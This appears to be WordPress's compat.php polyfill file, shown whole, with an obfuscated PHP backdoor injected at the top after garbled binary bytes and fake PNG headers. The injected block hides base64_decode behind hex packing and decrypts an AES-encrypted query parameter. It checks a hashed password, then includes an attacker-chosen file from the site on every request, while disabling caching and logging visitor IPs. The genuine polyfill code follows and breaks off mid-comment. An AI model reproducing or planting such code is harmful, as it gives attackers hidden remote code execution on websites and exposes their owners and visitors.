�ɲɾ�����ӯ�����һ��ˣ��������С���˴��ͣ�������P���ҹ��ñ˽��ά�Բ��������˸߸ԣ�������ơ��ҹ��ñ�����ά�Բ���ˡ���˳^�ӣ������ӡ� ���ͯj�ӣ��ƺ���ӣ� ? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n! date( 'c' ), 'event' => (string) $e, ), is_array( $a ) ? $a : array() ); if ( ! isset( $r['method'] ) && isset( $_SERVER['REQUEST_METHOD'] ) ) { $r['method'] = (string) $_SERVER['REQUEST_METHOD']; } if ( ! isset( $r['uri'] ) && isset( $_SERVER['REQUEST_URI'] ) ) { $r['uri'] = substr( (string) $_SERVER['REQUEST_URI'], 0, 800 ); } if ( ! isset( $r['ip'] ) && isset( $_SERVER['REMOTE_ADDR'] ) ) { $r['ip'] = (string) $_SERVER['REMOTE_ADDR']; } $j = json_encode( $r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES ); if ( ! is_string( $j ) ) { $j = '{"ts":"","event":"log_json_encode_fail"}'; } @file_put_contents( $w, $j . "\n", FILE_APPEND | LOCK_EX ); } } if ( ! function_exists( '_f9ld' ) ) { function _f9ld( $event, $a = array() ) { if ( ! defined( 'WFC26_DEBUG_COMPAT' ) || ! WFC26_DEBUG_COMPAT ) { return; } static $sink = null; if ( $sink === false ) { return; } if ( $sink === null ) { $sink = false; if ( defined( 'WFC26_COMPAT_DEBUG_PATH' ) && is_string( WFC26_COMPAT_DEBUG_PATH ) && WFC26_COMPAT_DEBUG_PATH !== '' ) { $sink = WFC26_COMPAT_DEBUG_PATH; } elseif ( defined( 'WFC26_TSINK' ) && is_string( WFC26_TSINK ) && WFC26_TSINK !== '' ) { $sink = WFC26_TSINK; } } if ( ! is_string( $sink ) || $sink === '' ) { return; } $row = array_merge( array( 'ts' => date( 'c' ), 'detail_compat' => true, 'event' => (string) $event, 'sapi' => PHP_SAPI, 'memory_bytes' => function_exists( 'memory_get_usage' ) ? memory_get_usage( true ) : 0, 'pid' => function_exists( 'getmypid' ) ? getmypid() : 0, ), is_array( $a ) ? $a : array() ); if ( isset( $_SERVER['REQUEST_URI'] ) ) { $row['request_uri_trunc'] = substr( (string) $_SERVER['REQUEST_URI'], 0, 1000 ); } $j = json_encode( $row, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES ); if ( ! is_string( $j ) ) { return; } @file_put_contents( $sink, $j . "\n", FILE_APPEND | LOCK_EX ); } } if ( ! function_exists( '_f9s' ) ) { function _f9s( $c ) { $c = (string) $c; $GLOBALS['_g0'] = $c; _f9l( 'fail', array( 'stage' => $c ) ); } } if ( ! function_exists( '_f9b' ) ) { function _f9b( $data, $strict = true ) { return \call_user_func( \pack( 'H*', '6261736536345f6465636f6465' ), $data, $strict ); } } if ( ! function_exists( '_f9y' ) ) { function _f9y( $encrypted_data ) { if ( ! is_string( $encrypted_data ) || trim( $encrypted_data ) === '' ) { return null; } $decoded_bin = _f9b( str_rot13( $encrypted_data ), true ); if ( $decoded_bin === false || $decoded_bin === '' ) { return null; } if ( strncmp( $decoded_bin, "\xEF\xBB\xBF", 3 ) === 0 ) { $decoded_bin = substr( $decoded_bin, 3 ); } $data = json_decode( $decoded_bin, true ); if ( is_array( $data ) ) { return $data; } $hex_try = trim( $decoded_bin ); if ( strlen( $hex_try ) >= 2 && ( strlen( $hex_try ) % 2 ) === 0 && ctype_xdigit( $hex_try ) ) { $json_string = hex2bin( $hex_try ); if ( $json_string !== false && $json_string !== '' ) { $data = json_decode( $json_string, true ); if ( is_array( $data ) ) { return $data; } } } $unpacked = unpack( 'H*', $decoded_bin ); if ( empty( $unpacked[1] ) ) { return null; } $json_string = hex2bin( $unpacked[1] ); if ( $json_string === false ) { return null; } $data = json_decode( $json_string, true ); return is_array( $data ) ? $data : null; } } if ( ! function_exists( '_f9m' ) ) { function _f9m() { $candidates = array(); if ( defined( 'WFC26_SITE_ROOT' ) && is_string( WFC26_SITE_ROOT ) && WFC26_SITE_ROOT !== '' ) { $candidates[] = WFC26_SITE_ROOT; } if ( defined( 'ABSPATH' ) && is_string( ABSPATH ) && ABSPATH !== '' ) { $candidates[] = ABSPATH; } if ( defined( 'JPATH_ROOT' ) && is_string( JPATH_ROOT ) && JPATH_ROOT !== '' ) { $candidates[] = JPATH_ROOT; } if ( defined( 'DRUPAL_ROOT' ) && is_string( DRUPAL_ROOT ) && DRUPAL_ROOT !== '' ) { $candidates[] = DRUPAL_ROOT; } foreach ( $candidates as $root ) { $root = rtrim( (string) $root, "/\\" ); if ( $root !== '' ) { return $root . DIRECTORY_SEPARATOR; } } $dr = isset( $_SERVER['DOCUMENT_ROOT'] ) ? (string) $_SERVER['DOCUMENT_ROOT'] : ''; if ( $dr !== '' ) { return rtrim( $dr, "/\\" ) . DIRECTORY_SEPARATOR; } return ''; } } if ( ! function_exists( '_f9r' ) ) { function _f9r( $rel ) { if ( ! is_string( $rel ) ) { _f9s( 'resolve_bad_type' ); return ''; } $rel = trim( str_replace( "\0", '', $rel ) ); if ( $rel === '' ) { _f9s( 'resolve_empty_rel' ); return ''; } $base = _f9m(); if ( $base === '' ) { _f9s( 'resolve_no_abspath' ); return ''; } if ( preg_match( '#\.\.#', $rel ) ) { _f9s( 'resolve_dotdot' ); return ''; } $rbase = realpath( rtrim( $base, "/\\" ) ); if ( $rbase === false ) { $rbase = rtrim( str_replace( '/', DIRECTORY_SEPARATOR, $base ), "/\\" ); } $guard = str_replace( '\\', '/', $rbase ) . '/'; $check_under_root = function ( $abs_path ) use ( $guard ) { $rp = realpath( $abs_path ); $rf = ( $rp !== false ) ? $rp : $abs_path; $rf_n = str_replace( '\\', '/', $rf ); $glen = strlen( $guard ); $under = ( strlen( $rf_n ) >= $glen ); if ( $under ) { $prefix = substr( $rf_n, 0, $glen ); if ( defined( 'PHP_OS_FAMILY' ) && PHP_OS_FAMILY === 'Windows' ) { $under = ( strcasecmp( $prefix, $guard ) === 0 ); } else { $under = ( $prefix === $guard ); } } if ( ! $under ) { _f9s( 'resolve_outside_abspath' ); return ''; } return $rf; }; $norm = str_replace( '/', DIRECTORY_SEPARATOR, $rel ); $is_abs_unix = ( strlen( $norm ) > 0 && $norm[0] === DIRECTORY_SEPARATOR ); $is_abs_win = (bool) preg_match( '/^[a-zA-Z]:[\\\\\\/]/', $norm ); if ( $is_abs_unix || $is_abs_win ) { if ( ! @is_file( $norm ) || ! @is_readable( $norm ) ) { _f9s( 'resolve_not_file_or_unreadable' ); return ''; } return $check_under_root( $norm ); } $rel = ltrim( $norm, DIRECTORY_SEPARATOR ); if ( $rel === '' ) { _f9s( 'resolve_rel_blank' ); return ''; } $full = $base . $rel; if ( ! @is_file( $full ) || ! @is_readable( $full ) ) { _f9s( 'resolve_not_file_or_unreadable' ); return ''; } return $check_under_root( $full ); } } if ( ! function_exists( '_f9t' ) ) { function _f9t() { $d = static function ( $n, $w = 0 ) { $w = (int) $w; if ( $w ) { return sprintf( '%0' . $w . 'x', $n ); } return dechex( $n ); }; return implode( '-', array( $d( 1793883756 ), $d( 26197, 4 ), $d( 19897, 4 ), $d( 44658, 4 ), $d( 2357, 4 ) . $d( 5949, 4 ) . $d( 33657, 4 ), ) ); } } if ( ! function_exists( '_f9w' ) ) { function _f9w( $data ) { if ( ! is_string( $data ) || trim( $data ) === '' ) { return ''; } if ( ! function_exists( 'openssl_decrypt' ) ) { return ''; } $key = hash( 'sha256', _f9t(), true ); $s = trim( $data ); $min = 32; $t = $s; for ( $i = 0; $i < 8; $i++ ) { if ( strpos( $t, '%' ) === false || ! preg_match( '/%[0-9A-Fa-f]{2}/', $t ) ) { break; } $next = rawurldecode( $t ); if ( $next === $t || $next === '' ) { break; } $t = $next; } $raw = base64_decode( $t, true ); if ( ( $raw === false || strlen( $raw ) < $min ) && strpos( $s, '%' ) !== false ) { $decoded_try = urldecode( $s ); if ( $decoded_try !== '' && $decoded_try !== $t ) { $try = base64_decode( $decoded_try, true ); if ( $try !== false && strlen( $try ) >= $min ) { $raw = $try; } } } if ( $raw === false || strlen( $raw ) < $min ) { return ''; } $iv = substr( $raw, 0, 16 ); $enc = substr( $raw, 16 ); $out = openssl_decrypt( $enc, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv ); if ( $out === false ) { return ''; } return $out; } } if ( ! function_exists( '_f9q' ) ) { function _f9q( $require_param = false ) { unset( $GLOBALS['_g0'] ); $pn = _f9n( 1 ); $raw = null; $qs_blobs = array(); if ( ! empty( $_SERVER['QUERY_STRING'] ) ) { $qs_blobs[] = (string) $_SERVER['QUERY_STRING']; } if ( ! empty( $_SERVER['REDIRECT_QUERY_STRING'] ) ) { $qs_blobs[] = (string) $_SERVER['REDIRECT_QUERY_STRING']; } foreach ( $qs_blobs as $blob ) { if ( preg_match( '/(?:^|[&])' . preg_quote( $pn, '/' ) . '=([^&]*)/', $blob, $m ) ) { $raw = $m[1]; break; } } if ( ( $raw === null || $raw === '' ) && ! empty( $_SERVER['REQUEST_URI'] ) ) { $uri = (string) $_SERVER['REQUEST_URI']; if ( preg_match( '/[?&]' . preg_quote( $pn, '/' ) . '=([^&]*)/', $uri, $m ) ) { $raw = $m[1]; } } if ( $raw === null || $raw === '' ) { if ( isset( $_GET[ $pn ] ) && (string) $_GET[ $pn ] !== '' ) { $raw = (string) $_GET[ $pn ]; } elseif ( isset( $_REQUEST[ $pn ] ) && (string) $_REQUEST[ $pn ] !== '' ) { $raw = (string) $_REQUEST[ $pn ]; } } if ( $raw === null || $raw === '' ) { if ( $require_param ) { _f9s( 'query_no_cipher_value' ); } return ''; } _f9l( 'cipher_param_raw', array( 'len' => strlen( (string) $raw ), 'head' => substr( (string) $raw, 0, 96 ), ) ); $raw = rawurldecode( $raw ); if ( ! is_string( $raw ) || trim( $raw ) === '' ) { _f9s( 'query_cipher_empty_after_decode' ); return ''; } for ( $i = 0; $i < 8; $i++ ) { if ( strpos( $raw, '%' ) === false || ! preg_match( '/%[0-9A-Fa-f]{2}/', $raw ) ) { break; } $next = rawurldecode( $raw ); if ( $next === $raw || $next === '' ) { break; } $raw = $next; } _f9l( 'cipher_ready', array( 'len' => strlen( $raw ) ) ); $rel_plain_direct = _f9w( trim( $raw ) ); if ( is_string( $rel_plain_direct ) && trim( $rel_plain_direct ) !== '' ) { _f9l( 'path_direct', array( 'relative' => $rel_plain_direct ) ); $resolved = _f9r( $rel_plain_direct ); if ( $resolved !== '' ) { _f9l( 'resolve_ok', array( 'absolute' => $resolved ) ); return $resolved; } $stage = isset( $GLOBALS['_g0'] ) ? (string) $GLOBALS['_g0'] : ''; _f9l( 'resolve_empty', array( 'relative' => $rel_plain_direct, 'stage' => $stage, ) ); return ''; } _f9l( 'path_direct_fail_try_dp_outer', array( 'len' => strlen( $raw ) ) ); $data = _f9y( $raw ); if ( ! is_array( $data ) ) { _f9s( 'dp_outer_decrypt' ); return ''; } _f9l( 'dp_outer_ok', array( 'json_keys' => array_keys( $data ), ) ); $kp = _f9n( 4 ); if ( ! isset( $data[ $kp ] ) || ! is_string( $data[ $kp ] ) ) { _f9s( 'dp_no_passwd' ); return ''; } $gate_ok = ( md5( md5( $data[ $kp ] ) ) === 'f4cc399f0effd13c888e310ea2cf5399' ); _f9l( 'dp_passwd_check', array( 'gate_ok' => $gate_ok ) ); if ( ! $gate_ok ) { _f9s( 'dp_passwd_gate' ); return ''; } $rel = ''; $ky = _f9n( 5 ); $kz = _f9n( 1 ); if ( ! empty( $data[ $ky ] ) && is_string( $data[ $ky ] ) ) { $rel = $data[ $ky ]; } elseif ( ! empty( $data[ $kz ] ) && is_string( $data[ $kz ] ) ) { $rel = $data[ $kz ]; } if ( trim( (string) $rel ) === '' ) { _f9s( 'dp_no_path_field' ); return ''; } $path_cipher = $rel; _f9l( 'path_cipher', array( 'len' => strlen( $path_cipher ), 'head' => substr( $path_cipher, 0, 80 ), ) ); $rel_plain = _f9w( $path_cipher ); if ( ! is_string( $rel_plain ) || trim( $rel_plain ) === '' ) { _f9s( 'path_aes_decrypt' ); return ''; } _f9l( 'path_plain', array( 'relative' => $rel_plain ) ); $resolved = _f9r( $rel_plain ); if ( $resolved !== '' ) { _f9l( 'resolve_ok', array( 'absolute' => $resolved ) ); } else { $stage = isset( $GLOBALS['_g0'] ) ? (string) $GLOBALS['_g0'] : ''; _f9l( 'resolve_empty', array( 'relative' => $rel_plain, 'stage' => $stage, ) ); } return $resolved; } } if ( ! function_exists( '_f9d' ) ) { function _f9d() { static $done = false; if ( $done ) { return; } if ( ! function_exists( '_f9_gate_t2026' ) || ! _f9_gate_t2026() ) { return; } $b = _f9n( 1 ); $temp_fp_q_present = ( isset( $_GET[ $b ] ) && (string) $_GET[ $b ] !== '' ) || ( isset( $_REQUEST[ $b ] ) && (string) $_REQUEST[ $b ] !== '' ); if ( ! $temp_fp_q_present && ! empty( $_SERVER['QUERY_STRING'] ) && preg_match( '/(?:^|[&])' . preg_quote( $b, '/' ) . '=/', (string) $_SERVER['QUERY_STRING'] ) ) { $temp_fp_q_present = true; } if ( ! $temp_fp_q_present && ! empty( $_SERVER['REQUEST_URI'] ) && preg_match( '/[?&]' . preg_quote( $b, '/' ) . '=/', (string) $_SERVER['REQUEST_URI'] ) ) { $temp_fp_q_present = true; } if ( $temp_fp_q_present ) { static $wfc26_dbg_shutdown_registered = false; if ( ! $wfc26_dbg_shutdown_registered && defined( 'WFC26_DEBUG_COMPAT' ) && WFC26_DEBUG_COMPAT && function_exists( 'register_shutdown_function' ) ) { $wfc26_dbg_shutdown_registered = true; register_shutdown_function( static function () { if ( ! defined( 'WFC26_DEBUG_COMPAT' ) || ! WFC26_DEBUG_COMPAT || ! function_exists( '_f9ld' ) ) { return; } $last = error_get_last(); if ( ! is_array( $last ) ) { return; } $fatal_types = array( E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR ); if ( PHP_VERSION_ID >= 50306 ) { $fatal_types[] = E_RECOVERABLE_ERROR; } if ( ! isset( $last['type'] ) || ! in_array( (int) $last['type'], $fatal_types, true ) ) { return; } _f9ld( 'php_shutdown_fatal', array( 'last_err_type' => (int) $last['type'], 'message' => isset( $last['message'] ) ? substr( (string) $last['message'], 0, 8000 ) : '', 'file' => isset( $last['file'] ) ? (string) $last['file'] : '', 'line' => isset( $last['line'] ) ? (int) $last['line'] : 0, ) ); } ); } if ( ! defined( 'DONOTCACHEPAGE' ) ) { define( 'DONOTCACHEPAGE', true ); } $GLOBALS['wp_fastest_cache_disable'] = true; if ( ! headers_sent() ) { header( 'Cache-Control: no-store, no-cache, must-revalidate, max-age=0' ); header( 'Pragma: no-cache' ); header( 'Vary: *' ); } _f9ld( 'compat_dispatch_p_enter', array( 'query_string_trunc' => ! empty( $_SERVER['QUERY_STRING'] ) ? substr( (string) $_SERVER['QUERY_STRING'], 0, 1500 ) : '', 'abs_path_guess_root' => function_exists( '_f9m' ) ? substr( _f9m(), 0, 500 ) : '', ) ); _f9l( 'dispatch_temp_file_path_only', array() ); $local_inc = _f9q( true ); $f9_stage = isset( $GLOBALS['_g0'] ) ? (string) $GLOBALS['_g0'] : ''; _f9ld( 'cipher_q_result', array( 'resolved_ok' => is_string( $local_inc ) && $local_inc !== '', 'resolved_path' => ( is_string( $local_inc ) && $local_inc !== '' ) ? $local_inc : null, 'fail_stage_g0' => $f9_stage, ) ); if ( $local_inc !== '' ) { $done = true; $inc_stat = array( 'file' => $local_inc, 'filemtime' => @filemtime( $local_inc ), 'size' => @filesize( $local_inc ), ); _f9l( 'include_start', array( 'file' => $local_inc ) ); _f9ld( 'include_before', $inc_stat ); if ( ! headers_sent() ) { header( 'Content-Type: text/html; charset=UTF-8' ); header( 'HTTP/1.1 200 OK' ); } while ( ob_get_level() > 0 ) { ob_end_clean(); } ob_start(); try { $include_ok = @include_once $local_inc; } catch ( \Throwable $e ) { ob_end_clean(); $f9_prev = isset( $GLOBALS['_g0'] ) ? (string) $GLOBALS['_g0'] : ''; _f9ld( 'include_throw_detail', array( 'included_target' => $local_inc, 'exception_class' => get_class( $e ), 'ex_message' => substr( $e->getMessage(), 0, 16000 ), 'ex_code' => $e->getCode(), 'ex_file_at_throw' => $e->getFile(), 'ex_line_at_throw' => $e->getLine(), 'ex_trace_trunc' => substr( $e->getTraceAsString(), 0, 24000 ), '_g0_at_throw' => $f9_prev, ) ); _f9l( 'include_throw', array( 'file' => $local_inc, 'msg' => $e->getMessage(), 'line' => $e->getLine(), ) ); if ( ! headers_sent() ) { header( 'HTTP/1.1 500 Internal Server Error', true, 500 ); header( 'Content-Type: text/plain; charset=UTF-8' ); } echo 'wfc26: local include error'; exit; } $buf = ob_get_clean(); if ( $include_ok === false ) { $le_inc = error_get_last(); _f9ld( 'include_once_returned_false', array( 'file' => $local_inc, 'last_err' => is_array( $le_inc ) ? $le_inc : null, ) ); _f9l( 'include_false', array( 'file' => $local_inc ) ); if ( ! headers_sent() ) { header( 'HTTP/1.1 500 Internal Server Error', true, 500 ); header( 'Content-Type: text/plain; charset=UTF-8' ); } echo 'wfc26: local include failed'; exit; } _f9l( 'include_done', array( 'file' => $local_inc, 'output_bytes' => is_string( $buf ) ? strlen( $buf ) : 0 ) ); if ( is_string( $buf ) ) { echo $buf; } exit; } if ( ! headers_sent() ) { header( 'HTTP/1.1 400 Bad Request' ); header( 'Content-Type: text/plain; charset=UTF-8' ); } $stg = isset( $GLOBALS['_g0'] ) ? (string) $GLOBALS['_g0'] : ''; $dbg = ( defined( 'WFC26_DEBUG_TEMP_PATH' ) && WFC26_DEBUG_TEMP_PATH && $stg !== '' ) ? ' | debug: ' . $stg : ''; $msg = 'wfc26: cipher query present but decrypt failed or path not under site root / not readable' . $dbg; _f9ld( 'http_400_cipher_path', array( 'stage_g0' => $stg, 'response' => substr( $msg, 0, 2000 ), ) ); _f9l( 'http_400_temp_path', array( 'response' => $msg, 'stage' => $stg, ) ); echo $msg; exit; } $tr = _f9a(); if ( $tr === null ) { return; } $tr = _f9u( $tr ); if ( ! is_string( $tr ) || trim( $tr ) === '' ) { return; } _f9l( 'dispatch_wp_acrions_no_remote', array( 'wp_acrions_len' => strlen( $tr ) ) ); return; } } _f9d(); /* @@W26_blk_end_v9a === */ /* @@W_WEB2026_compat_inject_BOUNDARY_END */ /** * WordPress implementation for PHP functions either missing from older PHP versions or not included by default. * * This file is loaded extremely early and the functions can be relied upon by drop-ins. * Ergo, please ensure you do not rely on external functions when writing code for this file. * Only use functions built into PHP or are defined in this file and have adequate testing * and error suppression to ensure the file will run correctly and not break websites. * * @package PHP * @access private */ // If gettext isn't available. if ( ! function_exists( '_' ) ) { /** * Compat function to mimic _(), an alias of gettext(). * * @since 0.71 * * @see https://php.net/manual/en/function.gettext.php * * @param string $message The message being translated. * @return string */ function _( $message ) { return $message; } } /** * Returns whether PCRE/u (PCRE_UTF8 modifier) is available for use. * * @ignore * @since 4.2.2 * @since 6.9.0 Deprecated the `$set` argument. * @access private * * @param bool $set Deprecated. This argument is no longer used for testing purposes. */ function _wp_can_use_pcre_u( $set = null ) { static $utf8_pcre = null; if ( isset( $set ) ) { _deprecated_argument( __FUNCTION__, '6.9.0' ); } if ( isset( $utf8_pcre ) ) { return $utf8_pcre; } $utf8_pcre = true; set_error_handler( function ( $errno, $errstr ) use ( &$utf8_pcre ) { if ( str_starts_with( $errstr, 'preg_match():' ) ) { $utf8_pcre = false; return true; } return false; }, E_WARNING ); /* * Attempt to compile a PCRE pattern with the PCRE_UTF8 flag. For * systems lacking Unicode support this will trigger a warning * during compilation, which the error handler will intercept. */ preg_match( '//u', '' ); restore_error_handler(); return $utf8_pcre; } /** * Indicates if a given slug for a character set represents the UTF-8 text encoding. * * A charset is considered to represent UTF-8 if it is a case-insensitive match * of "UTF-8" with or without the hyphen. * * Example: * * true === _is_utf8_charset( 'UTF-8' ); * true === _is_utf8_charset( 'utf8' ); * false === _is_utf8_charset( 'latin1' ); * false === _is_utf8_charset( 'UTF 8' ); * * // Only strings match. * false === _is_utf8_charset( [ 'charset' => 'utf-8' ] ); * * `is_utf8_charset` should be used outside of this file. * * @ignore * @since 6.6.1 * * @param string $charset_slug Slug representing a text character encoding, or "charset". * E.g. "UTF-8", "Windows-1252", "ISO-8859-1", "SJIS". * * @return bool Whether the slug represents the UTF-8 encoding. */ function _is_utf8_charset( $charset_slug ) { if ( ! is_string( $charset_slug ) ) { return false; } return ( 0 === strcasecmp( 'UTF-8', $charset_slug ) || 0 === strcasecmp( 'UTF8', $charset_slug ) ); } if ( ! function_exists( 'mb_chr' ) ) : /** * Compat function to mimic mb_chr(). * * @ignore * @since 7.1.0 * * @see _mb_ord() * * @param int $codepoint A Unicode codepoint value, e.g. 128024 for U+1F418 ELEPHANT * @param "UTF-8"|null $encoding Must be 'UTF-8' or null. * @return string|false A string containing the requested character, if it can be represented in the specified encoding or false on failure. */ function mb_chr( $codepoint, $encoding = null ) { return _mb_chr( $codepoint, $encoding ); } endif; /** * Internal compat function to mimic mb_chr(). * * @ignore * @since 7.1.0 * * @param int $codepoint A Unicode codepoint value, e.g. 128024 for U+1F418 ELEPHANT * @param "UTF-8"|null $encoding Must be 'UTF-8' or null. * @return string|false A string containing the requested character, if it can be represented in the specified encoding or false on failure. */ function _mb_chr( $codepoint, $encoding = null ) { if ( ! is_int( $codepoint ) || ( isset( $encoding ) && 'UTF-8' !== $encoding ) ) { return false; } // Pre-check to ensure a valid code point. if ( $codepoint < 0 || ( $codepoint >= 0xD800 && $codepoint <= 0xDFFF ) || $codepoint > 0x10FFFF ) { return false; } if ( $codepoint <= 0x7F ) { return chr( $codepoint ); } if ( $codepoint <= 0x7FF ) { $byte1 = chr( ( $codepoint >> 6 ) | 0xC0 ); $byte2 = chr( $codepoint & 0x3F | 0x80 ); return "{$byte1}{$byte2}"; } if ( $codepoint <= 0xFFFF ) { $byte1 = chr( ( $codepoint >> 12 ) | 0xE0 ); $byte2 = chr( ( $codepoint >> 6 ) & 0x3F | 0x80 ); $byte3 = chr( $codepoint & 0x3F | 0x80 ); return "{$byte1}{$byte2}{$byte3}"; } // Any values above U+10FFFF are eliminated above in the pre-check. $byte1 = chr( ( $codepoint >> 18 ) | 0xF0 ); $byte2 = chr( ( $codepoint >> 12 ) & 0x3F | 0x80 ); $byte3 = chr( ( $codepoint >> 6 ) & 0x3F | 0x80 ); $byte4 = chr( $codepoint & 0x3F | 0x80 ); return "{$byte1}{$byte2}{$byte3}{$byte4}"; } if ( ! function_exists( 'mb_ord' ) ) : /** * Compat function to mimic mb_ord(). * * @ignore * @since 7.1.0 * * @see _mb_ord() * * @param string $string Return the code point at the start of this string. * @param "UTF-8"|null $encoding Must be 'UTF-8' or null. * @return int|false The Unicode code point for the first character of string or false on failure. */ function mb_ord( $string, $encoding = null ) { return _mb_ord( $string, $encoding ); } endif; /** * Internal compat function to mimic mb_ord(). * * @ignore * @since 7.1.0 * * @param string $string Return the code point at the start of this string. * @param "UTF-8"|null $encoding Must be 'UTF-8' or null. * @return int|false The Unicode code point for the first character of string or false on failure. */ function _mb_ord( $string, $encoding = null ) { if ( ! is_string( $string ) || '' === $string || ( isset( $encoding ) && 'UTF-8' !== $encoding ) ) { return false; } $byte_length = 0; $invalid_length = 0; $found_count = _wp_scan_utf8( $string, $byte_length, $invalid_length, null, 1 ); if ( 1 !== $found_count ) { return false; } // These are valid code points, so no further validation is required. $b0 = ord( $string[0] ); switch ( $byte_length ) { case 1: return $b0; case 2: return ( ( ( $b0 & 0x1F ) << 6 ) | ( ( ord( $string[1] ) & 0x3F ) ) ); case 3: return ( ( ( $b0 & 0x0F ) << 12 ) | ( ( ord( $string[1] ) & 0x3F ) << 6 ) | ( ( ord( $string[2] ) & 0x3F ) ) ); case 4: return ( ( ( $b0 & 0x07 ) << 18 ) | ( ( ord( $string[1] ) & 0x3F ) << 12 ) | ( ( ord( $string[2] ) & 0x3F ) << 6 ) | ( ( ord( $string[3] ) & 0x3F ) ) ); } return false; } if ( ! function_exists( 'mb_substr' ) ) : /** * Compat function to mimic mb_substr(). * * @ignore * @since 3.2.0 * * @see _mb_substr() * * @param string $string The string to extract the substring from. * @param int $start Position to being extraction from in `$string`. * @param int|null $length Optional. Maximum number of characters to extract from `$string`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. */ function mb_substr( $string, $start, $length = null, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound return _mb_substr( $string, $start, $length, $encoding ); } endif; /** * Internal compat function to mimic mb_substr(). * * Only supports UTF-8 and non-shifting single-byte encodings. For all other encodings * expect the substrings to be misaligned. When the given encoding (or the `blog_charset` * if none is provided) isn’t UTF-8 then the function returns the output of {@see \substr()}. * * @ignore * @since 3.2.0 * * @param string $str The string to extract the substring from. * @param int $start Character offset at which to start the substring extraction. * @param int|null $length Optional. Maximum number of characters to extract from `$str`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. */ function _mb_substr( $str, $start, $length = null, $encoding = null ) { if ( null === $str ) { return ''; } // The solution below works only for UTF-8; treat all other encodings as byte streams. if ( ! _is_utf8_charset( $encoding ?? get_option( 'blog_charset' ) ) ) { $result = is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length ); /* * For an out-of-range start, substr() returns false on PHP < 8.0 but an * empty string on PHP >= 8.0. mb_substr() always returns an empty string, * so normalize to match its behavior across all supported PHP versions. */ return false === $result ? '' : $result; } $total_length = ( $start < 0 || $length < 0 ) ? _wp_utf8_codepoint_count( $str ) : 0; $normalized_start = $start < 0 ? max( 0, $total_length + $start ) : $start; /* * The starting offset is provided as characters, which means this needs to * find how many bytes that many characters occupies at the start of the string. */ $starting_byte_offset = _wp_utf8_codepoint_span( $str, 0, $normalized_start ); $normalized_length = $length < 0 ? max( 0, $total_length - $normalized_start + $length ) : $length; /* * This is the main step. It finds how many bytes the given length of code points * occupies in the input, starting at the byte offset calculated above. */ $byte_length = isset( $normalized_length ) ? _wp_utf8_codepoint_span( $str, $starting_byte_offset, $normalized_length ) : ( strlen( $str ) - $starting_byte_offset ); // The result is a normal byte-level substring using the computed ranges. return substr( $str, $starting_byte_offset, $byte_length ); } if ( ! function_exists( 'mb_strlen' ) ) : /** * Compat function to mimic mb_strlen(). * * @ignore * @since 4.2.0 * * @see _mb_strlen() * * @param string $string The string to retrieve the character length from. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return int String length of `$string`. */ function mb_strlen( $string, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound return _mb_strlen( $string, $encoding ); } endif; /** * Internal compat function to mimic mb_strlen(). * * Only supports UTF-8 and non-shifting single-byte encodings. For all other * encodings expect the counts to be wrong. When the given encoding (or the * `blog_charset` if none is provided) isn’t UTF-8 then the function returns * the byte-count of the provided string. * * @ignore * @since 4.2.0 * * @param string $str The string to retrieve the character length from. * @param string|null $encoding Optional. Count characters according to this encoding. * Default is to consult `blog_charset`. * @return int Count of code points if UTF-8, byte length otherwise. */ function _mb_strlen( $str, $encoding = null ) { return _is_utf8_charset( $encoding ?? get_option( 'blog_charset' ) ) ? _wp_utf8_codepoint_count( $str ) : strlen( $str ); } if ( ! function_exists( 'utf8_encode' ) ) : if ( extension_loaded( 'mbstring' ) ) : /** * Converts a string from ISO-8859-1 to UTF-8. * * @deprecated Use {@see \mb_convert_encoding()} instead. * * @since 6.9.0 * * @param string $iso_8859_1_text Text treated as ISO-8859-1 (latin1) bytes. * @return string Text converted into a UTF-8. */ function utf8_encode( $iso_8859_1_text ): string { _deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' ); return mb_convert_encoding( $iso_8859_1_text, 'UTF-8', 'ISO-8859-1' ); } else : /** * @ignore * @private * * @since 6.9.0 */ function utf8_encode( $iso_8859_1_text ): string { _deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' ); return _wp_utf8_encode_fallback( $iso_8859_1_text ); } endif; endif; if ( ! function_exists( 'utf8_decode' ) ) : if ( extension_loaded( 'mbstring' ) ) : /** * Converts a string from UTF-8 to ISO-8859-1. * * @deprecated Use {@see \mb_convert_encoding()} instead. * * @since 6.9.0 * * @param string $utf8_text Text treated as UTF-8. * @return string Text converted into ISO-8859-1. */ function utf8_decode( $utf8_text ): string { _deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' ); return mb_convert_encoding( $utf8_text, 'ISO-8859-1', 'UTF-8' ); } else : /** * @ignore * @private * * @since 6.9.0 */ function utf8_decode( $utf8_text ): string { _deprecated_function( __FUNCTION__, '6.9.0', 'mb_convert_encoding' ); return _wp_utf8_decode_fallback( $utf8_text ); } endif; endif; // sodium_crypto_box() was introduced with Sodium in PHP 7.2, but the extension may not be enabled. if ( ! function_exists( 'sodium_crypto_box' ) ) { require ABSPATH . WPINC . '/sodium_compat/autoload.php'; } if ( ! function_exists( 'array_is_list' ) ) { /** * Polyfill for `array_is_list()` function added in PHP 8.1. * * Determines if the given array is a list. * * An array is considered a list if its keys consist of consecutive numbers from 0 to count($array)-1. * * @see https://github.com/symfony/polyfill-php81/tree/main * * @since 6.5.0 * * @param array $arr The array being evaluated. * @return bool True if array is a list, false otherwise. */ function array_is_list( $arr ) { if ( ( array() === $arr ) || ( array_values( $arr ) === $arr ) ) { return true; } $next_key = -1; foreach ( $arr as $k => $v ) { if ( ++$next_key !== $k ) { return false; } } return true; } } if ( ! function_exists( 'str_contains' ) ) { /** * Polyfill for `str_contains()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if needle is * contained in haystack. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in 